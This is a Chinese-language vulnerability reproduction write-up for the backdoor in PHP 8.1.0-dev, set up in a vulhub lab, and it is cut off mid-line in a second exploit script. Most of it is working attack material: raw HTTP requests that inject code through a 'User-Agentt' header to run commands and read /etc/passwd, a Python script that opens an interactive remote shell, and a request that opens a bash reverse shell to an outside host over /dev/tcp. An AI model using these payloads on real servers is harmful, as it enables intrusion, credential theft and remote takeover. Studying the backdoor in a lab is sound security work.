共计 2265 个字符,预计需要花费 6 分钟才能阅读完成。
0x01 简介
PHP verion 8.1.0-dev 于 2021 年 3 月 28 日与后门一起公布,然而后门很快被发现并删除。
0x02 破绽概述
PHP verion 8.1.0-dev 的 PHP 在服务器上运行,则攻击者能够通过发送 User-Agentt 标头执行任意代码。
0x03 影响版本
PHP 8.1.0-dev
0x04 环境搭建
应用 vulhub 进行搭建:
cd vulhub/php/8.1-backdoor
sudo docker-compose up -d
拜访主页
http://192.168.40.140:8080/
0x05 破绽复现
1、POC 验证
GET / HTTP/1.1
Host: 192.168.40.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
User-Agentt: zerodiumvar_dump(2*3); // 或者 User-Agentt: zerodiumsystem(“cat /etc/passwd”);
Upgrade-Insecure-Requests: 1
图片
图片
!/usr/bin/env python3
import os
import re
import requests
host = input(“Enter the full host url:\n”)
request = requests.Session()
response = request.get(host)
if str(response) == ‘<Response [200]>’:
print("\nInteractive shell is opened on", host, "\nCan't access tty; job crontol turned off.")
try:
while 1:
cmd = input("$")
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0",
"User-Agentt": "zerodiumsystem('" + cmd + "');"
}
response = request.get(host, headers = headers, allow_redirects = False)
current_page = response.text
stdout = current_page.split('<!DOCTYPE html>',1)
text = print(stdout[0])
except KeyboardInterrupt:
print("Exiting...")
exit
else:
print("\r")
print(response)
print("Host is not available, aborting...")
exit
2、反弹 shell 或执行 exp
GET / HTTP/1.1
Host: 192.168.40.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=LBY9g1TYdvw2RyGQCX7JTQGt7Rn6TJnDmWhyJtKwMj2nL0M6GyyY!-1150793974; JSESSIONID=0B07F68800D0F5C0D8BD254A8748E2FF
User-Agentt: zerodiumsystem(“bash -c ‘exec bash -i >& /dev/tcp/192.168.40.129/6666 0>&1′”);
Upgrade-Insecure-Requests: 1
EXP:
import argparse, textwrap
import requests
import sys
parser = argparse.ArgumentParser(description=”PHP 8.1.0-dev WebShell RCE”, formatter_class=argparse.RawTextHelpFormatter,
epilog=textwrap.dedent(”’
Exploit Usage :
./exploit.py -l http://127.0.0.1
[^] WebShell= id
OR
[^] WebShell= whoami
”’))
parser.add_argument(“-l”,”–url”, help=”PHP 8.1.0-dev Target URL(Example: